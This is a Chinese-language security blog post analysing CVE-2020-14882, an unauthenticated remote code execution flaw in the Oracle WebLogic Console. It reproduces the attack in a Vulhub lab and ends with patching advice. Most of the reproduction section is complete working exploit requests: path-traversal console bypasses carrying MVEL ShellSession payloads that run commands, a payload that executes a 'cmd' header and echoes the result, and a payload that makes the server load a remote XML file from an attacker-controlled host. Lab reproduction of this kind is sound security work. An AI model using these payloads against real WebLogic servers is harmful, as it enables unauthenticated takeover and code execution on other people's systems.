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CVE-2020-14882 Weblogic Console远程代码执行漏洞分析
2020-11-03 10:16:48

0x00漏洞简述

2020年10月30日, Oracle 官方的 CVE-2020-14882 Weblogic 代码执行漏洞 最新补丁可被绕过,该漏洞编号为 CVE-2020-14882 ,漏洞等级: 严重 ,漏洞评分: 9.8 。

远程攻击者可以构造特殊的 HTTP 请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。

0x01影响版本

Oracle Weblogic Server 10.3.6.0.0

Oracle Weblogic Server 12.1.3.0.0

Oracle Weblogic Server 12.2.1.3.0

Oracle Weblogic Server 12.2.1.4.0

Oracle Weblogic Server 14.1.1.0.0

0x02漏洞复现

虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。

docker-compose up -d

1604366631_5fa0b127c0a412c64b90e.png!small

  • 访问漏洞环境

http://192.168.60.130:7001/

1604366642_5fa0b132b6158ea34c5d4.png!small

  • 在漏洞利用时根据不同需求进行Pyload构造。目前有常用的三种:

1、执行payload后不回显,但是已经执行成功。

构造payload执行:

GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/yunzui');") HTTP/1.1
Host: 192.168.60.130:7001
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.60.130:7001/console/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=-KSLiFfIosk7pDYFYp701K0Svy9__G8yZefB7whwyLGLvkhjKbTD!-355433482
Connection: close
Content-Length: 4

1604366675_5fa0b153168e66a61ea7b.png!small

效果查看

1604366689_5fa0b1610a2c1dd606283.png!small

或者使用dnslog平台进行验证

生成DNS域名:idvek9.dnslog.cn

1604366709_5fa0b175beaf8923d3525.png!small

构造payload进行执行

1604366744_5fa0b198d911b13512d79.png!small

效果查看

1604366760_5fa0b1a8b9d327b3ac746.png!small

或者使用python脚本进行漏洞利用

1604366772_5fa0b1b4e1a02237b87d3.png!small

效果查看

1604366783_5fa0b1bf12c3d0c3f61af.png!small

2、执行payload后回显

通过GET方式进行payload提交

GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1

Host: 192.168.60.130:7001

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

cmd:id

Content-Length: 0

执行:id

1604366800_5fa0b1d05c63bb08dd4ac.png!small

通过POST方式进行payload提交

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1

Host: 192.168.60.130:7001

cmd: id

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 1258

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();

weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();

java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");

field.setAccessible(true);

Object obj = field.get(adapter);

weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);

String cmd = req.getHeader("cmd");

String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};

if (cmd != null) {

String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();

weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);

res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));

res.getServletOutputStream().flush();

res.getWriter().write("");

}executeThread.interrupt();

");

执行:id

1604366819_5fa0b1e34f5c5193f5142.png!small

3、通过把payload构造为XML格式进行引用

1604366833_5fa0b1f13d1db1ff1c6c2.png!small

通过DNSLog平台生成域名:bq11vi.dnslog.cn

1604366844_5fa0b1fc50f61f647620f.png!small

执行(GET)

GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.60.1/weblogic.xml") HTTP/1.1

Host: 192.168.60.130:7001

Cache-Control: max-age=0

DNT: 1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://192.168.60.130:7001/console/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: ADMINCONSOLESESSION=-KSLiFfIosk7pDYFYp701K0Svy9__G8yZefB7whwyLGLvkhjKbTD!-355433482

Connection: close

1604366864_5fa0b21093fb405ec1f3c.png!small

效果查看

1604366873_5fa0b219ed4f791896eda.png!small

执行(POST)

POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1

Host: 192.168.60.130:7001

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36

Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Content-type: application/x-www-form-urlencoded; charset=utf-8

Content-Length: 153

CMD:whoami

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.60.1/weblogic.xml")

1604366889_5fa0b22966b25bdd59940.png!small

效果查看

1604366900_5fa0b2340336977d8f2c4.png!small

0x03修复建议

建议用户及时将 Weblogic 后台 /console/console.portal 对外的访问权限暂时关闭。

此次 Oracle 官方的 CPU已发布了针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。

注:Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。

0x04参考链接

https://www.safedog.cn/news.html?id=4533

http://blog.nsfocus.net/weblogic-console-http-1028/

https://leaderzhang.com/

本文作者:, 属于FreeBuf原创奖励计划,未经许可禁止转载

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